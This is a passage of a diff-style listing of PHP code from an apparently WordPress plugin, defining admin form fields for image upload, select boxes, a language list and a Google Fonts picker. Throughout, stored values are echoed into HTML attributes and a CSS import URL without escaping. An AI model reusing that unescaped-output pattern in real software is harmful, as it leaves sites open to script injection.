<option value='500px'>500px.com</option>
|
289 |
+
";
|
290 |
+
echo "</select>";
|
291 |
+
echo "<input type='button' class='default' value='Generate!'/>";
|
292 |
+
echo " " . $this->label . "<img opened='0' style='cursor:pointer;vertical-align:middle;height:20px;' src='" . plugins_url('/types/icons/arrow-right.png', __FILE__) . "' />";
|
293 |
+
echo "</form>";
|
294 |
+
}
|
295 |
+
}
|
296 |
+
}
|
297 |
+
|
298 |
+
if (!class_exists("wpdreamsUploadReset")) {
|
299 |
+
class wpdreamsUploadReset extends wpdreamsType {
|
300 |
+
function __construct($name, $label, $data, $default_data, $constraints = null, $errormsg = "") {
|
301 |
+
$this->name = $name;
|
302 |
+
$this->label = $label;
|
303 |
+
$this->constraints = $constraints;
|
304 |
+
$this->errormsg = $errormsg;
|
305 |
+
$this->data = $data;
|
306 |
+
$this->default_data = $default_data;
|
307 |
+
$this->isError = false;
|
308 |
+
self::$_instancenumber++;
|
309 |
+
$this->getType();
|
310 |
+
}
|
311 |
+
function getType() {
|
312 |
+
parent::getType();
|
313 |
+
echo "<div>";
|
314 |
+
if ($this->data != "") {
|
315 |
+
echo "<img class='preview' rel='#overlay_" . self::$_instancenumber . "' src=" . $this->data . " />";
|
316 |
+
} else {
|
317 |
+
echo "<img class='preview' style='display:none;' rel='#overlay_" . self::$_instancenumber . "' />";
|
318 |
+
}
|
319 |
+
echo "<label for='wpdreamsUploadReset_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
320 |
+
echo "<input type='text' class='wpdreamsUpload' id='wpdreamsUploadReset_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
|
321 |
+
echo "<input class='wpdreamsUpload_button' type='button' value='Upload Image' />";
|
322 |
+
echo "<input type='button' class='default' name='default' value='Default' />";
|
323 |
+
echo "<input type='hidden' value='" . $this->default_data . "' />";
|
324 |
+
echo "<br />Enter an URL or upload an image!";
|
325 |
+
echo "<div class='overlay' id='overlay_" . self::$_instancenumber . "'><img src='" . $this->data . "'' /></div>";
|
326 |
+
echo "</div>";
|
327 |
+
}
|
328 |
+
}
|
329 |
+
}
|
330 |
+
|
331 |
+
if (!class_exists("wpdreamsSelect")) {
|
332 |
+
class wpdreamsSelect extends wpdreamsType {
|
333 |
+
function getType() {
|
334 |
+
parent::getType();
|
335 |
+
$this->processData();
|
336 |
+
echo "<div class='wpdreamsSelect'>";
|
337 |
+
echo "<label for='wpdreamsselect_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
338 |
+
echo "<select class='wpdreamsselect' id='wpdreamsselect_" . self::$_instancenumber . "' name='" . $this->name . "_select'>";
|
339 |
+
foreach ($this->selects as $sel) {
|
340 |
+
preg_match('/(?<option>.*?)\\|(?<value>.*)/', $sel, $matches);
|
341 |
+
$matches['value'] = trim($matches['value']);
|
342 |
+
$matches['option'] = trim($matches['option']);
|
343 |
+
if ($matches['value'] == $this->selected)
|
344 |
+
echo "<option value='" . $matches['value'] . "' selected='selected'>" . $matches['option'] . "</option>";
|
345 |
+
else
|
346 |
+
echo "<option value='" . $matches['value'] . "'>" . $matches['option'] . "</option>";
|
347 |
+
}
|
348 |
+
echo "</select>";
|
349 |
+
echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
|
350 |
+
echo "<div class='triggerer'></div>
|
351 |
+
</div>";
|
352 |
+
}
|
353 |
+
function processData() {
|
354 |
+
//$this->data = str_replace("\n","",$this->data);
|
355 |
+
$_temp = explode("||", $this->data);
|
356 |
+
$this->selects = explode(";", $_temp[0]);
|
357 |
+
$this->selected = trim($_temp[1]);
|
358 |
+
}
|
359 |
+
final function getData() {
|
360 |
+
return $this->data;
|
361 |
+
}
|
362 |
+
final function getSelected() {
|
363 |
+
return $this->selected;
|
364 |
+
}
|
365 |
+
}
|
366 |
+
}
|
367 |
+
|
368 |
+
if (!class_exists("wpdreamsLanguageSelect")) {
|
369 |
+
class wpdreamsLanguageSelect extends wpdreamsType {
|
370 |
+
|
371 |
+
function getType() {
|
372 |
+
parent::getType();
|
373 |
+
$this->languages = array(
|
374 |
+
'ab' => 'Abkhazian',
|
375 |
+
'aa' => 'Afar',
|
376 |
+
'af' => 'Afrikaans',
|
377 |
+
'ak' => 'Akan',
|
378 |
+
'sq' => 'Albanian',
|
379 |
+
'am' => 'Amharic',
|
380 |
+
'ar' => 'Arabic',
|
381 |
+
'an' => 'Aragonese',
|
382 |
+
'hy' => 'Armenian',
|
383 |
+
'as' => 'Assamese',
|
384 |
+
'av' => 'Avaric',
|
385 |
+
'ae' => 'Avestan',
|
386 |
+
'ay' => 'Aymara',
|
387 |
+
'az' => 'Azerbaijani',
|
388 |
+
'bm' => 'Bambara',
|
389 |
+
'ba' => 'Bashkir',
|
390 |
+
'eu' => 'Basque',
|
391 |
+
'be' => 'Belarusian',
|
392 |
+
'bn' => 'Bengali',
|
393 |
+
'bh' => 'Bihari',
|
394 |
+
'bi' => 'Bislama',
|
395 |
+
'nb' => 'Bokmal',
|
396 |
+
'bs' => 'Bosnian',
|
397 |
+
'br' => 'Breton',
|
398 |
+
'bg' => 'Bulgarian',
|
399 |
+
'my' => 'Burmese',
|
400 |
+
'ca' => 'Catalan',
|
401 |
+
'km' => 'Central Khmer',
|
402 |
+
'ch' => 'Chamorro',
|
403 |
+
'ce' => 'Chechen',
|
404 |
+
'ny' => 'Chewa',
|
405 |
+
'zh' => 'Chinese',
|
406 |
+
'cu' => 'Church Slavic',
|
407 |
+
'cv' => 'Chuvash',
|
408 |
+
'kw' => 'Cornish',
|
409 |
+
'co' => 'Corsican',
|
410 |
+
'cr' => 'Cree',
|
411 |
+
'hr' => 'Croatian',
|
412 |
+
'cs' => 'Czech',
|
413 |
+
'da' => 'Danish',
|
414 |
+
'dv' => 'Dhivehi',
|
415 |
+
'nl' => 'Dutch',
|
416 |
+
'dz' => 'Dzongkha',
|
417 |
+
'en' => 'English',
|
418 |
+
'eo' => 'Esperanto',
|
419 |
+
'et' => 'Estonian',
|
420 |
+
'ee' => 'Ewe',
|
421 |
+
'fo' => 'Faroese',
|
422 |
+
'fj' => 'Fijian',
|
423 |
+
'fi' => 'Finnish',
|
424 |
+
'fr' => 'French',
|
425 |
+
'ff' => 'Fulah',
|
426 |
+
'gd' => 'Gaelic',
|
427 |
+
'gl' => 'Galician',
|
428 |
+
'lg' => 'Ganda',
|
429 |
+
'ka' => 'Georgian',
|
430 |
+
'de' => 'German',
|
431 |
+
'ki' => 'Gikuyu',
|
432 |
+
'el' => 'Greek',
|
433 |
+
'kl' => 'Greenlandic',
|
434 |
+
'gn' => 'Guarani',
|
435 |
+
'gu' => 'Gujarati',
|
436 |
+
'ht' => 'Haitian',
|
437 |
+
'ha' => 'Hausa',
|
438 |
+
'he' => 'Hebrew',
|
439 |
+
'hz' => 'Herero',
|
440 |
+
'hi' => 'Hindi',
|
441 |
+
'ho' => 'Hiri Motu',
|
442 |
+
'hu' => 'Hungarian',
|
443 |
+
'is' => 'Icelandic',
|
444 |
+
'io' => 'Ido',
|
445 |
+
'ig' => 'Igbo',
|
446 |
+
'id' => 'Indonesian',
|
447 |
+
'ia' => 'Interlingua',
|
448 |
+
'iu' => 'Inuktitut',
|
449 |
+
'ik' => 'Inupiaq',
|
450 |
+
'ga' => 'Irish',
|
451 |
+
'it' => 'Italian',
|
452 |
+
'ja' => 'Japanese',
|
453 |
+
'jv' => 'Javanese',
|
454 |
+
'kn' => 'Kannada',
|
455 |
+
'kr' => 'Kanuri',
|
456 |
+
'ks' => 'Kashmiri',
|
457 |
+
'kk' => 'Kazakh',
|
458 |
+
'rw' => 'Kinyarwanda',
|
459 |
+
'kv' => 'Komi',
|
460 |
+
'kg' => 'Kongo',
|
461 |
+
'ko' => 'Korean',
|
462 |
+
'ku' => 'Kurdish',
|
463 |
+
'kj' => 'Kwanyama',
|
464 |
+
'ky' => 'Kyrgyz',
|
465 |
+
'lo' => 'Lao',
|
466 |
+
'la' => 'Latin',
|
467 |
+
'lv' => 'Latvian',
|
468 |
+
'lb' => 'Letzeburgesch',
|
469 |
+
'li' => 'Limburgan',
|
470 |
+
'ln' => 'Lingala',
|
471 |
+
'lt' => 'Lithuanian',
|
472 |
+
'lu' => 'Luba-Katanga',
|
473 |
+
'mk' => 'Macedonian',
|
474 |
+
'mg' => 'Malagasy',
|
475 |
+
'ms' => 'Malay',
|
476 |
+
'ml' => 'Malayalam',
|
477 |
+
'mt' => 'Maltese',
|
478 |
+
'gv' => 'Manx',
|
479 |
+
'mi' => 'Maori',
|
480 |
+
'mr' => 'Marathi',
|
481 |
+
'mh' => 'Marshallese',
|
482 |
+
'ro' => 'Moldavian',
|
483 |
+
'mn' => 'Mongolian',
|
484 |
+
'na' => 'Nauru',
|
485 |
+
'nv' => 'Navajo',
|
486 |
+
'ng' => 'Ndonga',
|
487 |
+
'ne' => 'Nepali',
|
488 |
+
'nd' => 'North Ndebele',
|
489 |
+
'se' => 'Northern Sami',
|
490 |
+
'no' => 'Norwegian',
|
491 |
+
'nn' => 'Norwegian Nynorsk',
|
492 |
+
'ie' => 'Occidental',
|
493 |
+
'oc' => 'Occitan',
|
494 |
+
'oj' => 'Ojibwa',
|
495 |
+
'or' => 'Oriya',
|
496 |
+
'om' => 'Oromo',
|
497 |
+
'os' => 'Ossetian',
|
498 |
+
'pi' => 'Pali',
|
499 |
+
'fa' => 'Persian',
|
500 |
+
'pl' => 'Polish',
|
501 |
+
'pt' => 'Portuguese',
|
502 |
+
'pa' => 'Punjabi',
|
503 |
+
'ps' => 'Pushto',
|
504 |
+
'qu' => 'Quechua',
|
505 |
+
'ro' => 'Romanian',
|
506 |
+
'rm' => 'Romansh',
|
507 |
+
'rn' => 'Rundi',
|
508 |
+
'ru' => 'Russian',
|
509 |
+
'sm' => 'Samoan',
|
510 |
+
'sg' => 'Sango',
|
511 |
+
'sa' => 'Sanskrit',
|
512 |
+
'sc' => 'Sardinian',
|
513 |
+
'sr' => 'Serbian',
|
514 |
+
'sn' => 'Shona',
|
515 |
+
'ii' => 'Sichuan Yi',
|
516 |
+
'sd' => 'Sindhi',
|
517 |
+
'si' => 'Sinhalese',
|
518 |
+
'sk' => 'Slovak',
|
519 |
+
'sl' => 'Slovenian',
|
520 |
+
'so' => 'Somali',
|
521 |
+
'st' => 'Southern Sotho',
|
522 |
+
'nr' => 'South Ndebele',
|
523 |
+
'es' => 'Spanish',
|
524 |
+
'su' => 'Sundanese',
|
525 |
+
'sw' => 'Swahili',
|
526 |
+
'ss' => 'Swati',
|
527 |
+
'sv' => 'Swedish',
|
528 |
+
'tl' => 'Tagalog',
|
529 |
+
'ty' => 'Tahitian',
|
530 |
+
'tg' => 'Tajik',
|
531 |
+
'ta' => 'Tamil',
|
532 |
+
'tt' => 'Tatar',
|
533 |
+
'te' => 'Telugu',
|
534 |
+
'th' => 'Thai',
|
535 |
+
'bo' => 'Tibetan',
|
536 |
+
'ti' => 'Tigrinya',
|
537 |
+
'to' => 'Tonga',
|
538 |
+
'ts' => 'Tsonga',
|
539 |
+
'tn' => 'Tswana',
|
540 |
+
'tr' => 'Turkish',
|
541 |
+
'tk' => 'Turkmen',
|
542 |
+
'tw' => 'Twi',
|
543 |
+
'uk' => 'Ukrainian',
|
544 |
+
'ur' => 'Urdu',
|
545 |
+
'ug' => 'Uyghur',
|
546 |
+
'uz' => 'Uzbek',
|
547 |
+
've' => 'Venda',
|
548 |
+
'vi' => 'Vietnamese',
|
549 |
+
'vo' => 'VolapA1k',
|
550 |
+
'wa' => 'Walloon',
|
551 |
+
'cy' => 'Welsh',
|
552 |
+
'fy' => 'Western Frisian',
|
553 |
+
'wo' => 'Wolof',
|
554 |
+
'xh' => 'Xhosa',
|
555 |
+
'yi' => 'Yiddish',
|
556 |
+
'yo' => 'Yoruba',
|
557 |
+
'za' => 'Zhuang',
|
558 |
+
'zu' => 'Zulu'
|
559 |
+
);
|
560 |
+
echo "<div class='wpdreamsLanguageSelect'>";
|
561 |
+
echo "<label for='wpdreamslanguageselect_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
562 |
+
echo "<select class='wpdreamsselect' id='wpdreamsselect_" . self::$_instancenumber . "' name='" . $this->name . "_select'>";
|
563 |
+
foreach ($this->languages as $k=>$v) {
|
564 |
+
if ($k == $this->data)
|
565 |
+
echo "<option value='" . $k . "' selected='selected'>" . $v . "</option>";
|
566 |
+
else
|
567 |
+
echo "<option value='" . $k . "'>" . $v . "</option>";
|
568 |
+
}
|
569 |
+
echo "</select>";
|
570 |
+
echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
|
571 |
+
echo "<div class='triggerer'></div>
|
572 |
+
</div>";
|
573 |
+
}
|
574 |
+
final function getData() {
|
575 |
+
return $this->data;
|
576 |
+
}
|
577 |
+
}
|
578 |
+
}
|
579 |
+
|
580 |
+
|
581 |
+
|
582 |
+
|
583 |
+
if (!class_exists("wpdreamsFont")) {
|
584 |
+
class wpdreamsFont extends wpdreamsType {
|
585 |
+
function getType() {
|
586 |
+
parent::getType();
|
587 |
+
wp_register_script('wpdreams-fonts', plugin_dir_url(__FILE__) . '/types/fonts.js', array(
|
588 |
+
'jquery',
|
589 |
+
'media-upload',
|
590 |
+
'thickbox'
|
591 |
+
));
|
592 |
+
wp_enqueue_script('wpdreams-fonts');
|
593 |
+
$this->data = str_replace('\\', "", stripcslashes($this->data));
|
594 |
+
preg_match("/family:(.*?);/", $this->data, $_fonts);
|
595 |
+
$this->font = $_fonts[1];
|
596 |
+
preg_match("/weight:(.*?);/", $this->data, $_weight);
|
597 |
+
$this->weight = $_weight[1];
|
598 |
+
preg_match("/color:(.*?);/", $this->data, $_color);
|
599 |
+
$this->color = $_color[1];
|
600 |
+
preg_match("/size:(.*?);/", $this->data, $_size);
|
601 |
+
$this->size = $_size[1];
|
602 |
+
preg_match("/height:(.*?);/", $this->data, $_lineheight);
|
603 |
+
$this->lineheight = $_lineheight[1];
|
604 |
+
$applied_style = "font-family:" . ($this->font) . ";font-weight:" . $this->weight . ";line-height:".$this->lineheight.";color:" . $this->color;
|
605 |
+
echo $this->getScript();
|
606 |
+
echo "<div class='wpdreamsFont'>
|
607 |
+
<fieldset>
|
608 |
+
<legend>" . $this->label . "</legend>
|
609 |
+
";
|
610 |
+
echo "<label for='wpdreamsfont_" . self::$_instancenumber . "' style=\"" . $applied_style . "\">Test Text :)</label>";
|
611 |
+
echo "<select class='wpdreamsfont' id='wpdreamsfont_" . self::$_instancenumber . "' name='" . self::$_instancenumber . "_select'>";
|
612 |
+
$options = '
|
613 |
+
<option disabled>-------Classic Webfonts-------</option>
|
614 |
+
<option value="\'Arial\', Helvetica, sans-serif" style="font-family:Arial, Helvetica, sans-serif">Arial, Helvetica, sans-serif</option>
|
615 |
+
<option value="\'Arial Black\', Gadget, sans-serif" style="font-family:\'Arial Black\', Gadget, sans-serif">"Arial Black", Gadget, sans-serif</option>
|
616 |
+
<option value="\'Comic Sans MS\', cursive" style="font-family:\'Comic Sans MS\', cursive">"Comic Sans MS", cursive</option>
|
617 |
+
<option value="\'Courier New\', Courier, monospace" style="font-family:\'Courier New\', Courier, monospace">"Courier New", Courier, monospace</option>
|
618 |
+
<option value="\'Georgia\', serif" style="font-family:Georgia, serif">Georgia, serif</option>
|
619 |
+
<option value="\'Impact\', Charcoal, sans-serif" style="font-family:Impact, Charcoal, sans-serif">Impact, Charcoal, sans-serif</option>
|
620 |
+
<option value="\'Lucida Console\', Monaco, monospace" style="font-family:\'Lucida Console\', Monaco, monospace">"Lucida Console", Monaco, monospace</option>
|
621 |
+
<option value="\'Lucida Sans Unicode\', \'Lucida Grande\', sans-serif" style="font-family:\'Lucida Sans Unicode\', \'Lucida Grande\', sans-serif">"Lucida Sans Unicode", "Lucida Grande", sans-serif</option>
|
622 |
+
<option value="\'Palatino Linotype\', \'Book Antiqua\', Palatino, serif" style="font-family:\'Palatino Linotype\', \'Book Antiqua\', Palatino, serif">"Palatino Linotype", "Book Antiqua", Palatino, serif</option>
|
623 |
+
<option value="\'Tahoma\', Geneva, sans-serif" style="font-family:Tahoma, Geneva, sans-serif">Tahoma, Geneva, sans-serif</option>
|
624 |
+
<option value="\'Times New Roman\', Times, serif" style="font-family:\'Times New Roman\', Times, serif">"Times New Roman", Times, serif</option>
|
625 |
+
<option value="\'Trebuchet MS\', Helvetica, sans-serif" style="font-family:\'Trebuchet MS\', Helvetica, sans-serif">"Trebuchet MS", Helvetica, sans-serif</option>
|
626 |
+
<option value="\'Verdana\', Geneva, sans-serif" style="font-family:Verdana, Geneva, sans-serif">Verdana, Geneva, sans-serif</option>
|
627 |
+
<option value="\'Symbol\'" style="font-family:Symbol">Symbol</option>
|
628 |
+
<option value="\'Webdings\'" style="font-family:Webdings">Webdings</option>
|
629 |
+
<option value="\'Wingdings\', \'Zapf Dingbats\'" style="font-family:Wingdings, \'Zapf Dingbats\'">Wingdings, "Zapf Dingbats"</option>
|
630 |
+
<option value="\'MS Sans Serif\', Geneva, sans-serif" style="font-family:\'MS Sans Serif\', Geneva, sans-serif">"MS Sans Serif", Geneva, sans-serif</option>
|
631 |
+
<option value="\'MS Serif\', \'New York\', serif" style="font-family:\'MS Serif\', \'New York\', serif">"MS Serif", "New York", serif</option>
|
632 |
+
<option disabled>-------Google Webfonts-------</option>
|
633 |
+
<option value="Allan" style="font-family: Allan,Allan;"> Allan</option>
|
634 |
+
<option value="Allerta" style="font-family: Allerta,Allerta;"> Allerta</option>
|
635 |
+
<option value="Allerta Stencil" style="font-family: Allerta Stencil,Allerta Stencil;"> Allerta Stencil</option>
|
636 |
+
<option value="Anonymous Pro" style="font-family: Anonymous Pro,Anonymous Pro;"> Anonymous Pro</option>
|
637 |
+
<option value="Arimo" style="font-family: Arimo,Arimo;"> Arimo</option>
|
638 |
+
<option value="Arvo" style="font-family: Arvo,Arvo;"> Arvo</option>
|
639 |
+
<option value="Bentham" style="font-family: Bentham,Bentham;"> Bentham</option>
|
640 |
+
<option value="Buda" style="font-family: Buda,Buda;"> Buda</option>
|
641 |
+
<option value="Cabin" style="font-family: Cabin,Cabin;"> Cabin</option>
|
642 |
+
<option value="Calligraffitti" style="font-family: Calligraffitti,Calligraffitti;"> Calligraffitti</option>
|
643 |
+
<option value="Cantarell" style="font-family: Cantarell,Cantarell;"> Cantarell</option>
|
644 |
+
<option value="Cardo" style="font-family: Cardo,Cardo;"> Cardo</option>
|
645 |
+
<option value="Cherry Cream Soda" style="font-family: Cherry Cream Soda,Cherry Cream Soda;"> Cherry Cream Soda</option>
|
646 |
+
<option value="Chewy" style="font-family: Chewy,Chewy;"> Chewy</option>
|
647 |
+
<option value="Coda" style="font-family: Coda,Coda;"> Coda</option>
|
648 |
+
<option value="Coming Soon" style="font-family: Coming Soon,Coming Soon;"> Coming Soon</option>
|
649 |
+
<option value="Copse" style="font-family: Copse,Copse;"> Copse</option>
|
650 |
+
<option value="Corben" style="font-family: Corben,Corben;"> Corben</option>
|
651 |
+
<option value="Cousine" style="font-family: Cousine,Cousine;"> Cousine</option>
|
652 |
+
<option value="Covered By Your Grace" style="font-family: Covered By Your Grace,Covered By Your Grace;"> Covered By Your Grace</option>
|
653 |
+
<option value="Crafty Girls" style="font-family: Crafty Girls,Crafty Girls;"> Crafty Girls</option>
|
654 |
+
<option value="Crimson Text" style="font-family: Crimson Text,Crimson Text;"> Crimson Text</option>
|
655 |
+
<option value="Crushed" style="font-family: Crushed,Crushed;"> Crushed</option>
|
656 |
+
<option value="Cuprum" style="font-family: Cuprum,Cuprum;"> Cuprum</option>
|
657 |
+
<option value="Droid Sans" style="font-family: Droid Sans,Droid Sans;"> Droid Sans</option>
|
658 |
+
<option value="Droid Sans Mono" style="font-family: Droid Sans Mono,Droid Sans Mono;"> Droid Sans Mono</option>
|
659 |
+
<option value="Droid Serif" style="font-family: Droid Serif,Droid Serif;"> Droid Serif</option>
|
660 |
+
<option value="Fontdiner Swanky" style="font-family: Fontdiner Swanky,Fontdiner Swanky;"> Fontdiner Swanky</option>
|
661 |
+
<option value="GFS Didot" style="font-family: GFS Didot,GFS Didot;"> GFS Didot</option>
|
662 |
+
<option value="GFS Neohellenic" style="font-family: GFS Neohellenic,GFS Neohellenic;"> GFS Neohellenic</option>
|
663 |
+
<option value="Geo" style="font-family: Geo,Geo;"> Geo</option>
|
664 |
+
<option value="Gruppo" style="font-family: Gruppo,Gruppo;"> Gruppo</option>
|
665 |
+
<option value="Hanuman" style="font-family: Hanuman,Hanuman;"> Hanuman</option>
|
666 |
+
<option value="Homemade Apple" style="font-family: Homemade Apple,Homemade Apple;"> Homemade Apple</option>
|
667 |
+
<option value="IM Fell DW Pica" style="font-family: IM Fell DW Pica,IM Fell DW Pica;"> IM Fell DW Pica</option>
|
668 |
+
<option value="IM Fell DW Pica SC" style="font-family: IM Fell DW Pica SC,IM Fell DW Pica SC;"> IM Fell DW Pica SC</option>
|
669 |
+
<option value="IM Fell Double Pica" style="font-family: IM Fell Double Pica,IM Fell Double Pica;"> IM Fell Double Pica</option>
|
670 |
+
<option value="IM Fell Double Pica SC" style="font-family: IM Fell Double Pica SC,IM Fell Double Pica SC;"> IM Fell Double Pica SC</option>
|
671 |
+
<option value="IM Fell English" style="font-family: IM Fell English,IM Fell English;"> IM Fell English</option>
|
672 |
+
<option value="IM Fell English SC" style="font-family: IM Fell English SC,IM Fell English SC;"> IM Fell English SC</option>
|
673 |
+
<option value="IM Fell French Canon" style="font-family: IM Fell French Canon,IM Fell French Canon;"> IM Fell French Canon</option>
|
674 |
+
<option value="IM Fell French Canon SC" style="font-family: IM Fell French Canon SC,IM Fell French Canon SC;"> IM Fell French Canon SC</option>
|
675 |
+
<option value="IM Fell Great Primer" style="font-family: IM Fell Great Primer,IM Fell Great Primer;"> IM Fell Great Primer</option>
|
676 |
+
<option value="IM Fell Great Primer SC" style="font-family: IM Fell Great Primer SC,IM Fell Great Primer SC;"> IM Fell Great Primer SC</option>
|
677 |
+
<option value="Inconsolata" style="font-family: Inconsolata,Inconsolata;"> Inconsolata</option>
|
678 |
+
<option value="Irish Growler" style="font-family: Irish Growler,Irish Growler;"> Irish Growler</option>
|
679 |
+
<option value="Josefin Sans" style="font-family: Josefin Sans,Josefin Sans;"> Josefin Sans</option>
|
680 |
+
<option value="Josefin Slab" style="font-family: Josefin Slab,Josefin Slab;"> Josefin Slab</option>
|
681 |
+
<option value="Just Another Hand" style="font-family: Just Another Hand,Just Another Hand;"> Just Another Hand</option>
|
682 |
+
<option value="Just Me Again Down Here" style="font-family: Just Me Again Down Here,Just Me Again Down Here;"> Just Me Again Down Here</option>
|
683 |
+
<option value="Kenia" style="font-family: Kenia,Kenia;"> Kenia</option>
|
684 |
+
<option value="Kranky" style="font-family: Kranky,Kranky;"> Kranky</option>
|
685 |
+
<option value="Kristi" style="font-family: Kristi,Kristi;"> Kristi</option>
|
686 |
+
<option value="Lato" style="font-family: Lato,Lato;"> Lato</option>
|
687 |
+
<option value="Lekton" style="font-family: Lekton,Lekton;"> Lekton</option>
|
688 |
+
<option value="Lobster" style="font-family: Lobster,Lobster;"> Lobster</option>
|
689 |
+
<option value="Luckiest Guy" style="font-family: Luckiest Guy,Luckiest Guy;"> Luckiest Guy</option>
|
690 |
+
<option value="Merriweather" style="font-family: Merriweather,Merriweather;"> Merriweather</option>
|
691 |
+
<option value="Molengo" style="font-family: Molengo,Molengo;"> Molengo</option>
|
692 |
+
<option value="Mountains of Christmas" style="font-family: Mountains of Christmas,Mountains of Christmas;"> Mountains of Christmas</option>
|
693 |
+
<option value="Neucha" style="font-family: Neucha,Neucha;"> Neucha</option>
|
694 |
+
<option value="Neuton" style="font-family: Neuton,Neuton;"> Neuton</option>
|
695 |
+
<option value="Nobile" style="font-family: Nobile,Nobile;"> Nobile</option>
|
696 |
+
<option value="OFL Sorts Mill Goudy TT" style="font-family: OFL Sorts Mill Goudy TT,OFL Sorts Mill Goudy TT;"> OFL Sorts Mill Goudy TT</option>
|
697 |
+
<option value="Old Standard TT" style="font-family: Old Standard TT,Old Standard TT;"> Old Standard TT</option>
|
698 |
+
<option value="Orbitron" style="font-family: Orbitron,Orbitron;"> Orbitron</option>
|
699 |
+
<option value="PT Sans" style="font-family: PT Sans,PT Sans;"> PT Sans</option>
|
700 |
+
<option value="PT Sans Caption" style="font-family: PT Sans Caption,PT Sans Caption;"> PT Sans Caption</option>
|
701 |
+
<option value="PT Sans Narrow" style="font-family: PT Sans Narrow,PT Sans Narrow;"> PT Sans Narrow</option>
|
702 |
+
<option value="Permanent Marker" style="font-family: Permanent Marker,Permanent Marker;"> Permanent Marker</option>
|
703 |
+
<option value="Philosopher" style="font-family: Philosopher,Philosopher;"> Philosopher</option>
|
704 |
+
<option value="Puritan" style="font-family: Puritan,Puritan;"> Puritan</option>
|
705 |
+
<option value="Raleway" style="font-family: Raleway,Raleway;"> Raleway</option>
|
706 |
+
<option value="Reenie Beanie" style="font-family: Reenie Beanie,Reenie Beanie;"> Reenie Beanie</option>
|
707 |
+
<option value="Rock Salt" style="font-family: Rock Salt,Rock Salt;"> Rock Salt</option>
|
708 |
+
<option value="Schoolbell" style="font-family: Schoolbell,Schoolbell;"> Schoolbell</option>
|
709 |
+
<option value="Slackey" style="font-family: Slackey,Slackey;"> Slackey</option>
|
710 |
+
<option value="Sniglet" style="font-family: Sniglet,Sniglet;"> Sniglet</option>
|
711 |
+
<option value="Sunshiney" style="font-family: Sunshiney,Sunshiney;"> Sunshiney</option>
|
712 |
+
<option value="Syncopate" style="font-family: Syncopate,Syncopate;"> Syncopate</option>
|
713 |
+
<option value="Tangerine" style="font-family: Tangerine,Tangerine;"> Tangerine</option>
|
714 |
+
<option value="Tinos" style="font-family: Tinos,Tinos;"> Tinos</option>
|
715 |
+
<option value="Ubuntu" style="font-family: Ubuntu,Ubuntu;"> Ubuntu</option>
|
716 |
+
<option value="UnifrakturCook" style="font-family: UnifrakturCook,UnifrakturCook;"> UnifrakturCook</option>
|
717 |
+
<option value="UnifrakturMaguntia" style="font-family: UnifrakturMaguntia,UnifrakturMaguntia;"> UnifrakturMaguntia</option>
|
718 |
+
<option value="Unkempt" style="font-family: Unkempt,Unkempt;"> Unkempt</option>
|
719 |
+
<option value="Vibur" style="font-family: Vibur,Vibur;"> Vibur</option>
|
720 |
+
<option value="Vollkorn" style="font-family: Vollkorn,Vollkorn;"> Vollkorn</option>
|
721 |
+
<option value="Walter Turncoat" style="font-family: Walter Turncoat,Walter Turncoat;"> Walter Turncoat</option>
|
722 |
+
<option value="Yanone Kaffeesatz" style="font-family: Yanone Kaffeesatz,Yanone Kaffeesatz;"> Yanone Kaffeesatz</option>
|
723 |
+
';
|
724 |
+
$options = explode("<option", $options);
|
725 |
+
unset($options[0]);
|
726 |
+
foreach ($options as $option) {
|
727 |
+
if (strpos(stripslashes($option), '"' . stripslashes($this->font) . '"') !== false) {
|
728 |
+
echo "<option selected='selected' " . $option;
|
729 |
+
} else {
|
730 |
+
echo "<option " . $option;
|
731 |
+
}
|
732 |
+
}
|
733 |
+
if ($this->weight == "")
|
734 |
+
$this->weight = "normal";
|
735 |
+
echo "</select><br><br>";
|
736 |
+
echo "<input type='hidden' value=\"" . $this->data . "\" name='" . $this->name . "'>";
|
737 |
+
echo "<input class='wpdreans-fontweight' name='" .self::$_instancenumber . "_font-weight' type='radio' value='normal' " . (($this->weight == 'normal') ? 'checked' : '') . ">Normal</input>";
|
738 |
+
echo "<input class='wpdreans-fontweight' name='" .self::$_instancenumber . "_font-weight' type='radio' value='bold' " . (($this->weight == 'bold') ? 'checked' : '') . ">Bold</input><br><br>";
|
739 |
+
new wpdreamsColorPickerDummy( self::$_instancenumber . "_color", "", (isset($this->color) ? $this->color : "#000000"));
|
740 |
+
echo "<br />" . $this->label . " size (ex.:10em, 10px or 110%): ";
|
741 |
+
echo "<input type='text' class='wpdreams-fontsize' style='width:70px;' name='" . self::$_instancenumber . "_size' value='" . $this->size . "' />";
|
742 |
+
echo " Line height: <input type='text' class='wpdreams-lineheight' style='width:70px;' name='" . self::$_instancenumber . "_lineheight' value='" . $this->lineheight . "' />";
|
743 |
+
new wpdreamsInfo("You can enter the font size in pixels, ems or in percents. For example: 10px or 1.3em or 120%");
|
744 |
+
echo "
|
745 |
+
<div class='triggerer'></div>
|
746 |
+
</fieldset>
|
747 |
+
</div>";
|
748 |
+
}
|
749 |
+
final function getData() {
|
750 |
+
return $this->data;
|
751 |
+
}
|
752 |
+
final function getScript() {
|
753 |
+
if (strpos($this->font, "'"))
|
754 |
+
return;
|
755 |
+
$font = str_replace(" ", "+", trim($this->font));
|
756 |
+
ob_start();
|
757 |
+
?>
|
758 |
+
<style>
|
759 |
+
@import url(http://fonts.googleapis.com/css?family=<?php echo $font; ?>:300|<?php echo $font; ?>:400|<?php echo $font; ?>:700);
|
760 |
+
</style>
|
761 |
+
<?php
|
762 |
+
$out = ob_get_contents();
|
763 |
+
ob_end_clean();
|
764 |
+
return $out;
|
765 |
+
}
|
766 |
+
final function getImport() {
|
767 |
+
if (strpos($this->font, "'"))
|
768 |
+
return;
|
769 |
+
$font = str_replace(" ", "+", trim($this->font));
|
770 |
+
ob_start();
|
771 |
+
?>
|
772 |
+
@import url(http://fonts.googleapis.com/css?family=<?php echo $font; ?>:300|<?php echo $font; ?>:400|<?php echo $font; ?>:700);
|
773 |
+
<?php
|
774 |
+
$out = ob_get_contents();
|
775 |
+
ob_end_clean();
|
776 |
+
return $out;
|
777 |
+
}
|
778 |
+
}
|
779 |
+
}
|
780 |
+
|
781 |
+
if (!class_exists("wpdreamsOnOff")) {
|
782 |
+
class wpdreamsOnOff extends wpdreamsType {
|
783 |
+
function getType() {
|
784 |
+
parent::getType();
|
785 |
+
